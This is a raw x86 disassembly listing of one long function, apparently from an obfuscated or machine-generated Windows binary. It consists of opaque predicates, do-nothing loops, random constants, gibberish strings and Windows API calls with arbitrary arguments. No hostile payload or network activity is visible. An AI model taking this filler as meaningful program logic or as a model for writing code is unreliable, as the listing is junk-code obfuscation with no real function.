imul eax, dword [ebp - 0x29c]
cdq
mov dword [ebp - 0x9d8], eax
mov dword [ebp - 0x9d4], edx
push dword [ebp - 0x9d4]
push dword [ebp - 0x9d8]
lea ecx, [ebp - 0x10ac]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.0045211e
push eax
call fcn.004b0bf7
pop ecx
lea ecx, [ebp - 0x10ac]
call fcn.00452114
jmp 0x43a6d5
jmp 0x43a6b3
mov dword [ebp - 0xe3c], 0x32d683a7
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x62c], 0x611f
jge 0x43a76a
push dword [ebp - 0x898]
call fcn.004b0bf7
pop ecx
jmp 0x43a786
or dword [ebp - 4], 0xffffffff
jmp 0x43a790
mov dword [ebp - 0x23c], 0
jmp 0x43a7a9
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 4
jge 0x43a7c5
mov eax, dword [ebp - 0x23c]
mov dword [ebp + eax*4 - 0x1188], 3
jmp 0x43a79c
push 0
push 0x501
push 0xfa5
push 0x66bc
push 0
push 0
push 0x6e99
lea eax, [ebp - 0xb20]
push eax
call fcn.004232f0
add esp, 0x20
jmp 0x43a835
mov byte [ebp - 0x93], 0
movzx eax, byte [ebp - 0x93]
test eax, eax
je 0x43a835
push 0x2594
push 0
push 0x4117
push 0x53d8
push 0x3a2b
push 1
push 0
push 0x18f2
push 0x72ce
push 0
push 0x25a3
call fcn.0042a255
add esp, 0x2c
mov byte [ebp - 0xc5], 0
push 0x1496
push 0x604c
push 1
push 1
push 0x399
push 0
push 0x6f71
push 0
lea eax, [ebp - 0xc5]
push eax
push 0
push 0x2412
call fcn.0042732f
add esp, 0x2c
mov dword [ebp - 0xa44], 0xb3b9
mov dword [ebp - 0x4a4], 0xc5378470
mov dword [ebp - 0xc00], 0x11c3fc02
mov dword [ebp - 0xbfc], 0x11c3fc02
mov dword [ebp - 0xbf8], 0x11c3fc02
mov dword [ebp - 0xbf4], 0x11c3fc02
lea ecx, [ebp - 0x341]
call fcn.0045233b
push eax
lea eax, [ebp - 0xbf0]
push eax
lea eax, [ebp - 0xc00]
push eax
lea ecx, [ebp - 0xfec]
call fcn.0045233e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xedc]
call fcn.004522ea
push 2
lea ecx, [ebp - 0xecc]
call fcn.0045223e
mov dword [ebp - 0x12c], 0
jmp 0x43a905
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 3
jge 0x43a921
mov eax, dword [ebp - 0x12c]
mov dword [ebp + eax*4 - 0x37c], 0xfffa
jmp 0x43a8f8
push 0
push 1
lea eax, [ebp - 0x12c]
push eax
push 0x1f9c
lea eax, [ebp - 0xecc]
push eax
push 0
push 0
push 0x6238
push 0xa71
push 0x6047
push 0x3d9c
call fcn.0041ff35
add esp, 0x2c
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x37c]
cmp dword [ebp + eax - 0x37c], ecx
je 0x43aa85
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x37c], 0
je 0x43aa37
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x37c]
mov dword [ebp - 0xe44], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x37c], 4
jge 0x43a9c4
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x37c], 0
jne 0x43a9c4
and dword [ebp - 0x48c], 0
jmp 0x43a9ce
mov dword [ebp - 0x48c], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x37c]
cmp dword [ebp - 0x48c], eax
je 0x43a9ef
mov dword [ebp - 0x700], 1
jmp 0x43a9f6
and dword [ebp - 0x700], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x37c]
cmp dword [ebp - 0x700], eax
jle 0x43aa16
mov dword [ebp - 0x494], 1
jmp 0x43aa1d
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x4a4]
cmp dword [ebp - 0x494], eax
jl 0x43aa37
mov dword [ebp - 0x634], 1
jmp 0x43aa3e
and dword [ebp - 0x634], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x37c]
cmp dword [ebp - 0x634], eax
jle 0x43aa5e
mov dword [ebp - 0x49c], 1
jmp 0x43aa65
and dword [ebp - 0x49c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x37c]
cmp eax, dword [ebp - 0x49c]
jl 0x43aa85
mov dword [ebp - 0x788], 1
jmp 0x43aa8c
and dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x788]
sub eax, dword [ebp - 0x4a4]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x37c]
jl 0x43aab2
mov dword [ebp - 0x63c], 1
jmp 0x43aab9
and dword [ebp - 0x63c], 0
push 0
lea ecx, [ebp - 0xedc]
call fcn.0045232c
mov ecx, dword [ebp - 0x63c]
mov dword [eax], ecx
lea ecx, [ebp - 0xecc]
call fcn.00452310
lea ecx, [ebp - 0xedc]
call fcn.00452310
push 1
push 0x6b71
push 0x4e22
push 0
lea eax, [ebp - 0xe4c]
push eax
push 0
push 0x1d02
lea eax, [ebp - 0xeec]
push eax
call fcn.00406032
add esp, 0x20
mov dword [ebp - 0xf4], 1
mov dword [ebp - 0x2ac], 0xb445acee
mov dword [ebp - 0x710], 0xffffffff
mov dword [ebp - 0x2a4], 0
jmp 0x43ab46
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 1
jge 0x43ab5f
mov eax, dword [ebp - 0x2a4]
mov dword [ebp + eax*4 - 0x14], 0x951ad386
jmp 0x43ab39
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x14]
cmp dword [ebp + eax - 0x14], ecx
jl 0x43ab81
mov dword [ebp - 0x4ac], 1
jmp 0x43ab88
and dword [ebp - 0x4ac], 0
mov eax, dword [ebp - 0x4ac]
mov dword [ebp - 0xf4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x14], 0
je 0x43ac52
xor eax, eax
je 0x43ac52
mov dword [ebp - 0x2ac], 0xfffffff6
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x2ac], eax
jne 0x43abd1
mov dword [ebp - 0x708], 1
jmp 0x43abd8
and dword [ebp - 0x708], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
cmp dword [ebp - 0x708], eax
je 0x43abff
mov eax, 0x320f
test eax, eax
je 0x43abff
mov dword [ebp - 0x4b4], 1
jmp 0x43ac06
and dword [ebp - 0x4b4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
cmp dword [ebp - 0x4b4], eax
jge 0x43ac24
mov dword [ebp - 0x8a0], 1
jmp 0x43ac2b
and dword [ebp - 0x8a0], 0
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0xe54], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
add eax, 5
je 0x43ac52
mov dword [ebp - 0x644], 1
jmp 0x43ac59
and dword [ebp - 0x644], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x644], eax
jle 0x43ac73
mov dword [ebp - 0xa30], 1
jmp 0x43ac7a
and dword [ebp - 0xa30], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
mov dword [ebp - 0xe5c], eax
cmp dword [ebp - 0xf4], 0xc541
jge 0x43ade9
mov dword [ebp - 0x244], 0x6a81
mov dword [ebp - 0x760], 0
push 0x6fc8
push 0
push 0x60ed
push 0x431
push 1
push 0x6005
push 0x4a35
push 0x3fa0
push 0
push 0
call fcn.0042f0ac
add esp, 0x28
cmp dword [ebp - 0xf4], 0
jne 0x43ad2c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x14], 0
je 0x43ad07
cmp dword [ebp - 0x244], 0
je 0x43ad07
mov dword [ebp - 0x4bc], 1
jmp 0x43ad0e
and dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0x760], eax
cmp dword [ebp - 0x760], 0
jne 0x43ad2c
and dword [ebp - 0x4c4], 0
jmp 0x43ad36
mov dword [ebp - 0x4c4], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
imul eax, dword [ebp - 0x4c4]
imul eax, eax, 0xffff
test eax, eax
jne 0x43ad67
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x14], 0
jne 0x43ad67
and dword [ebp - 0x8a8], 0
jmp 0x43ad71
mov dword [ebp - 0x8a8], 1
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0xe64], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
mov dword [ebp - 0xe6c], eax
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0x14], 0xf3be
test eax, eax
je 0x43adab
mov dword [ebp - 0xad4], 1
jmp 0x43adb2
and dword [ebp - 0xad4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
mov dword [ebp - 0xf68], eax
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0xf70], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
sub eax, dword [ebp - 0x244]
mov dword [ebp - 0x710], eax
jmp 0x43af67
mov dword [ebp - 0x130], 0
mov dword [ebp - 0xa38], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
mov dword [ebp - 0xfa0], eax
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x130], eax
jl 0x43ae27
mov dword [ebp - 0x64c], 1
jmp 0x43ae2e
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x2ac]
cmp eax, dword [ebp - 0x64c]
jle 0x43ae48
mov dword [ebp - 0x4cc], 1
jmp 0x43ae4f
and dword [ebp - 0x4cc], 0
cmp dword [ebp - 0x4cc], 0
jae 0x43ae6d
cmp dword [ebp - 0x130], 0
je 0x43ae6d
mov dword [ebp - 0x4d4], 1
jmp 0x43ae74
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x710]
cmp dword [ebp - 0x4d4], eax
jg 0x43ae8e
mov dword [ebp - 0x654], 1
jmp 0x43ae95
and dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x654]
neg eax
je 0x43aeb4
cmp dword [ebp - 0x130], 0
je 0x43aeb4
mov dword [ebp - 0x4dc], 1
jmp 0x43aebb
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x130]
cmp eax, dword [ebp - 0x4dc]
je 0x43aed5
mov dword [ebp - 0x7a0], 1
jmp 0x43aedc
and dword [ebp - 0x7a0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
cmp dword [ebp - 0x7a0], eax
jg 0x43aefa
mov dword [ebp - 0x4e4], 1
jmp 0x43af01
and dword [ebp - 0x4e4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
cmp dword [ebp - 0x4e4], eax
jg 0x43af1f
mov dword [ebp - 0x65c], 1
jmp 0x43af26
and dword [ebp - 0x65c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
cmp dword [ebp - 0x65c], eax
jg 0x43af44
mov dword [ebp - 0x8b0], 1
jmp 0x43af4b
and dword [ebp - 0x8b0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
mov dword [ebp - 0xf88], eax
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xa38], eax
mov dword [ebp - 0x24c], 3
jmp 0x43af80
mov eax, dword [ebp - 0x24c]
dec eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0
jl 0x43bc94
push 4
lea ecx, [ebp - 0xb98]
call fcn.0045223e
mov dword [ebp - 0x138], 1
mov dword [ebp - 0xb18], 9
push 0x38b5
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0xb98]
push eax
push 0
push 1
push 0
call fcn.00447ad4
add esp, 0x18
mov dword [ebp - 0x150], 0
jmp 0x43afe8
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 4
jge 0x43b004
mov eax, dword [ebp - 0x150]
mov dword [ebp + eax*4 - 0x101c], 0x6ea41824
jmp 0x43afdb
mov dword [ebp - 0x138], 0
jmp 0x43b01d
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 3
jg 0x43b2bc
mov dword [ebp - 0x30], 0x252604
mov dword [ebp - 0x340], 0xffffffff
mov dword [ebp - 0x30], 0
jmp 0x43b04b
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jg 0x43b2b7
mov dword [ebp - 0x80], 0xffffffff
mov dword [ebp - 0x50c], 0xf03fa9a1
mov dword [ebp - 0x790], 0xfffffff7
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x80], eax
jg 0x43b084
mov dword [ebp - 0x4ec], 1
jmp 0x43b08b
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x4ec], eax
jg 0x43b0a2
mov dword [ebp - 0x8b8], 1
jmp 0x43b0a9
and dword [ebp - 0x8b8], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x340], eax
mov eax, dword [ebp - 0x340]
mov dword [ebp - 0xf54], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xd3c], eax
cmp dword [ebp - 0x30], 0
je 0x43b0ee
push 2
lea ecx, [ebp - 0xb98]
call fcn.0045232c
cmp dword [eax], 0
je 0x43b0ee
mov dword [ebp - 0x718], 1
jmp 0x43b0f5
and dword [ebp - 0x718], 0
cmp dword [ebp - 0x718], 0xfffffff8
jae 0x43b10a
mov dword [ebp - 0x4f4], 1
jmp 0x43b111
and dword [ebp - 0x4f4], 0
push 0
lea ecx, [ebp - 0xb98]
call fcn.0045232c
mov ecx, dword [ebp - 0x4f4]
cmp ecx, dword [eax]
jne 0x43b13a
cmp dword [ebp - 0x340], 0
jne 0x43b13a
and dword [ebp - 0x664], 0
jmp 0x43b144
mov dword [ebp - 0x664], 1
cmp dword [ebp - 0x664], 0xd2af
jg 0x43b15c
mov dword [ebp - 0x4fc], 1
jmp 0x43b163
and dword [ebp - 0x4fc], 0
cmp dword [ebp - 0x4fc], 0xfffa
jbe 0x43b17e
cmp dword [ebp - 0x80], 0
jne 0x43b17e
and dword [ebp - 0x768], 0
jmp 0x43b188
mov dword [ebp - 0x768], 1
mov eax, dword [ebp - 0x768]
sub eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x30]
jle 0x43b1a2
mov dword [ebp - 0x504], 1
jmp 0x43b1a9
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x504], eax
jne 0x43b1c0
mov dword [ebp - 0x66c], 1
jmp 0x43b1c7
and dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x66c]
sub eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0xb18]
jne 0x43b1e4
mov dword [ebp - 0x8c0], 1
jmp 0x43b1eb
and dword [ebp - 0x8c0], 0
mov dword [ebp - 0x50c], 9
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x50c], eax
jg 0x43b20c
mov dword [ebp - 0x720], 1
jmp 0x43b213
and dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x80]
imul eax, dword [ebp - 0x720]
sub eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x80]
jg 0x43b231
mov dword [ebp - 0x514], 1
jmp 0x43b238
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0x790]
cmp dword [ebp - 0x514], eax
jne 0x43b252
mov dword [ebp - 0x674], 1
jmp 0x43b259
and dword [ebp - 0x674], 0
cmp dword [ebp - 0x674], 1
jge 0x43b26e
mov dword [ebp - 0x51c], 1
jmp 0x43b275
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x51c], eax
jg 0x43b292
cmp dword [ebp - 0x790], 0
jne 0x43b292
and dword [ebp - 0x524], 0
jmp 0x43b29c
mov dword [ebp - 0x524], 1
mov eax, dword [ebp - 0x524]
sub eax, dword [ebp - 0x30]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x101c], eax
jmp 0x43b044
jmp 0x43b010
lea ecx, [ebp - 0xb98]
call fcn.00452310
push 0x611a
push 0
push 1
push 1
lea eax, [ebp - 0xa44]
push eax
push 0x636
push 0x173b
push 1
call fcn.0043048e
add esp, 0x20
mov byte [ebp - 0x95], 0
push 4
lea ecx, [ebp - 0xca8]
call fcn.0045223e
push 1
lea ecx, [ebp - 0x7fc]
call fcn.0045223e
push 4
lea ecx, [ebp - 0xb50]
call fcn.0045223e
push 1
lea ecx, [ebp - 0xc30]
call fcn.0045223e
mov dword [ebp - 0xadc], 0xe06985ba
mov dword [ebp - 0x8d0], 0xffffffff
push 0
push 0
lea eax, [ebp - 0x38]
push eax
push 0x2c43
lea eax, [ebp - 0xca8]
push eax
push 0x734c
push 1
push 0x6563
push 1
push 0x573b
push 0x48b0
call fcn.0042ba60
add esp, 0x2c
mov dword [ebp - 0x38], 0
jmp 0x43b380
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x43b39c
push dword [ebp - 0x38]
lea ecx, [ebp - 0x7fc]
call fcn.0045232c
mov dword [eax], 0x1febaeef
jmp 0x43b379
mov dword [ebp - 0x38], 0
jmp 0x43b3ac
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x43b3c8
push dword [ebp - 0x38]
lea ecx, [ebp - 0xb50]
call fcn.0045232c
mov dword [eax], 1
jmp 0x43b3a5
push 0
push 0x198a
push 0
push 1
push 0x3a4e
push 1
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xc30]
push eax
call fcn.0042f5a6
add esp, 0x20
push 0
lea ecx, [ebp - 0x7fc]
call fcn.0045232c
and dword [eax], 0
jmp 0x43b423
push 0
lea ecx, [ebp - 0x7fc]
call fcn.0045232c
mov dword [ebp - 0x67c], eax
mov eax, dword [ebp - 0x67c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x67c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x7fc]
call fcn.0045232c
cmp dword [eax], 3
jg 0x43b544
mov dword [ebp - 0x2b4], 0xfffffffb
mov dword [ebp - 0xa50], 1
mov dword [ebp - 0x8c8], 0x7fc0549e
mov dword [ebp - 0x2b4], 0
jmp 0x43b470
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 3
jg 0x43b4d4
mov dword [ebp - 0x52c], 0xffffffff
push 0x2126
push 0x1c1a
push 1
push 0x3a6d
lea eax, [ebp - 0xb50]
push eax
push 0
push 0
push 0x502b
push 0x4704
push 0x524
push 0x368b
push 0x1070
push 0x2de
call fcn.00423f9b
add esp, 0x34
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
jmp 0x43b463
push 0x3f74
push 0x2a44
lea eax, [ebp - 0x8c8]
push eax
push 0x1340
push 0x4b0a
push 1
lea eax, [ebp - 0xca8]
push eax
lea eax, [ebp - 0xb50]
push eax
push 0x7326
push 0x1bd1
push 0
push 1
lea eax, [ebp - 0xc30]
push eax
lea eax, [ebp - 0xadc]
push eax
push 0x601b
lea eax, [ebp - 0x8d0]
push eax
push 0
lea eax, [ebp - 0x7fc]
push eax
lea eax, [ebp - 0xa50]
push eax
call fcn.0041fa66
add esp, 0x4c
jmp 0x43b3ff
lea ecx, [ebp - 0xc30]
call fcn.00452310
lea ecx, [ebp - 0xb50]
call fcn.00452310
lea ecx, [ebp - 0x7fc]
call fcn.00452310
lea ecx, [ebp - 0xca8]
call fcn.00452310
mov dword [ebp - 0x564], 0x66d4
mov dword [ebp - 0xa68], str.rxenx_exenpujv_knionv_hnlpr_luxa_dupasvtak
cmp dword [ebp - 0x564], 0x68e5
jle 0x43b62c
push 0
push 0x76c
push 0
push 0xafb
call dword [sym.imp.USER32.dll_SetTimer]
and dword [ebp - 0x254], 0
jmp 0x43b5be
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x6336
jge 0x43b61f
and dword [ebp - 0x2bc], 0
jmp 0x43b5e0
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0x717f
jge 0x43b61d
mov eax, dword [ebp - 0x254]
and eax, dword [ebp - 0x2bc]
cdq
mov dword [ebp - 0x9e4], eax
mov dword [ebp - 0x9e0], edx
push dword [ebp - 0x9e0]
push dword [ebp - 0x9e4]
mov ecx, 0xab95b8
call fcn.00452129
jmp 0x43b5d3
jmp 0x43b5b1
push 0
push 0x1b91
call dword [sym.imp.USER32.dll_EndPaint]
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x43bc46
mov dword [ebp - 0x2c], 0x72d9ee1c
push 2
lea ecx, [ebp - 0xb34]
call fcn.0045223e
mov dword [ebp - 0xd4], 7
mov dword [ebp - 0x68c], 0xb6a7
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0x274], 0xefb659ba
push 0
lea eax, [ebp - 0xfc]
push eax
lea eax, [ebp - 0xb34]
push eax
push 0x23a5
call fcn.0044ff10
add esp, 0x10
mov dword [ebp - 0xfc], 0
jmp 0x43b6ad
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 2
jge 0x43b6c9
mov eax, dword [ebp - 0xfc]
mov dword [ebp + eax*4 - 0xbc4], 0x276cc72b
jmp 0x43b6a0
cmp dword [ebp - 0x2c], 0
jne 0x43b6db
mov dword [ebp - 0x534], 1
jmp 0x43b6e2
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x2c]
cmp dword [ebp - 0xd4], eax
jne 0x43b706
mov dword [ebp - 0x8d8], 1
jmp 0x43b70d
and dword [ebp - 0x8d8], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xafc], eax
push 0
lea ecx, [ebp - 0xb34]
call fcn.0045232c
mov ecx, dword [ebp - 0xafc]
mov dword [eax], ecx
cmp dword [ebp - 0x2c], 0
jne 0x43b74c
push 0
lea ecx, [ebp - 0xb34]
call fcn.0045232c
cmp dword [eax], 0
jne 0x43b74c
and dword [ebp - 0x728], 0
jmp 0x43b756
mov dword [ebp - 0x728], 1
cmp dword [ebp - 0x728], 1
jne 0x43b76b
mov dword [ebp - 0x684], 1
jmp 0x43b772
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x534]
dec eax
cmp eax, dword [ebp - 0x684]
jge 0x43b788
cmp dword [ebp - 0xd4], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], eax
jle 0x43b79c
mov dword [ebp - 0x53c], 1
jmp 0x43b7a3
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0x53c]
sub eax, dword [ebp - 0x2c]
sub eax, 0x4709
cmp eax, dword [ebp - 0x68c]
jg 0x43b7cb
cmp dword [ebp - 0xd4], 0
jne 0x43b7cb
and dword [ebp - 0x770], 0
jmp 0x43b7d5
mov dword [ebp - 0x770], 1
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x7b0], 0x5822
mov dword [ebp - 0x8f0], str.gvsd_zxbqj_xjvr_sjbnapvry_boe_fuqamcqrq_oxfn_dfcpi_egnoftxlh_dhaoczgav_khvy_atlglw_pancr
cmp dword [ebp - 0x7b0], 0x58d2
jle 0x43b8a7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
and dword [ebp - 0x25c], 0
jmp 0x43b825
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x26eb
jge 0x43b8a7
and dword [ebp - 0x2c4], 0
jmp 0x43b847
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x75e7
jge 0x43b8a2
mov eax, dword [ebp - 0x25c]
mov ecx, dword [ebp - 0x2c4]
sar eax, cl
cdq
mov dword [ebp - 0xa40], eax
mov dword [ebp - 0xa3c], edx
push dword [ebp - 0xa3c]
push dword [ebp - 0xa40]
lea ecx, [ebp - 0x10d0]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.0045211e
push eax
call fcn.004b0bf7
pop ecx
lea ecx, [ebp - 0x10d0]
call fcn.00452114
jmp 0x43b83a
jmp 0x43b818
mov dword [ebp - 0x2c], 0
jmp 0x43b8b7
cmp dword [ebp - 0x2c], 1
jg 0x43bbdf
mov dword [ebp - 0x318], 0xbd791f9e
mov dword [ebp - 0xae4], 0xffffffff
mov dword [ebp - 0x554], 5
mov dword [ebp - 0x544], 0x601
mov dword [ebp - 0x8e0], str.jdnmpcokk_nohk_kdd_khnxkor_hihgkhqb_lqhaqbuin
cmp dword [ebp - 0x544], 0x9ae
jle 0x43b99f
and dword [ebp - 0x264], 0
jmp 0x43b919
cmp dword [ebp - 0x264], 0x2dd2
jge 0x43b999
and dword [ebp - 0x2cc], 0
jmp 0x43b93b
call dword [sym.imp.USER32.dll_WaitMessage]
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x544], 0x3d6
jge 0x43b9be
push dword [ebp - 0x8e0]
call fcn.004b0bf7
pop ecx
jmp 0x43b9da
or dword [ebp - 4], 0xffffffff
jmp 0x43b9e4
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x7b0], 0x550d
jge 0x43bbfe
push dword [ebp - 0x8f0]
call fcn.004b0bf7
pop ecx
jmp 0x43bc1a
or dword [ebp - 4], 0xffffffff
jmp 0x43bc24
lea ecx, [ebp - 0xb34]
call fcn.00452310
push 0
push 0x2580
push 0x254
push 0x65f
call dword [sym.imp.GDI32.dll_SetPixel]
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x564], 0x6511
jge 0x43bc69
mov edx, dword [ebp - 0xa68]
mov ecx, 0xab95b8
call fcn.00453acf
jmp 0x43bc85
or dword [ebp - 4], 0xffffffff
jmp 0x43bc8f
jmp 0x43af73
lea ecx, [ebp - 0xeec]
call fcn.00452310
mov dword [ebp - 0x360], 0x71c7bf0b
mov dword [ebp - 0xf84], 0
mov dword [ebp - 0xf80], 0
mov dword [ebp - 0xf7c], 0
mov dword [ebp - 0xf78], 0
mov dword [ebp - 0x80c], 0xd133f29
mov byte [ebp - 0xad], 0
push 0x7812
push 0x4117
push 1
push 0x1aec
push 1
push 1
lea eax, [ebp - 0xad]
push eax
push 0
push 0x46c6
call fcn.004354f9
add esp, 0x24
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0xe08], eax
cmp dword [ebp - 0x360], 1
jle 0x43bd2e
mov dword [ebp - 0x69c], 1
jmp 0x43bd35
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x360]
cmp eax, dword [ebp - 0x69c]
jg 0x43bd4f
mov dword [ebp - 0x56c], 1
jmp 0x43bd56
and dword [ebp - 0x56c], 0
cmp dword [ebp - 0x56c], 0x30a4
jl 0x43bd74
mov eax, 0x2def
test eax, eax
jne 0x43bd74
and dword [ebp - 0x738], 0
jmp 0x43bd7e
mov dword [ebp - 0x738], 1
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x334], 0
jle 0x43fb43
mov dword [ebp - 0x7c], 6
mov dword [ebp - 0xf0], 0xfffffffc
mov dword [ebp - 0x104], 0x5300ce3
mov dword [ebp - 0x7c], 0xfffffff5
jmp 0x43bdc2
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0xfffffff5
jle 0x43be92
mov dword [ebp - 0x574], 0xffffffff
mov dword [ebp - 0x6a4], 0x6de0184d
mov dword [ebp - 0xb0c], 1
push 0
push 0x196d
lea eax, [ebp - 0x7c]
push eax
push 0x2760
lea eax, [ebp - 0xf0]
push eax
push 0
push 1
lea eax, [ebp - 0x574]
push eax
push 0x7fea
lea eax, [ebp - 0x6a4]
push eax
push 0x36e6
call fcn.00450602
add esp, 0x2c
push 0x2fcd
push 0x3ca5
lea eax, [ebp - 0xf0]
push eax
push 0x6e65
push 1
lea eax, [ebp - 0x574]
push eax
push 0x5797
push 0x7580
push 0
push 0x1f99
lea eax, [ebp - 0xb0c]
push eax
lea eax, [ebp - 0x6a4]
push eax
lea eax, [ebp - 0x104]
push eax
push 0x4739
push 0x1215
push 0
push 0x2347
push 0x2b14
push 0x1315
call fcn.0044c3ab
add esp, 0x4c
jmp 0x43bdbb
mov dword [ebp - 0x104], 0
jmp 0x43beab
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x37
jl 0x43bfd9
mov dword [ebp - 0x348], 0x151d1a93
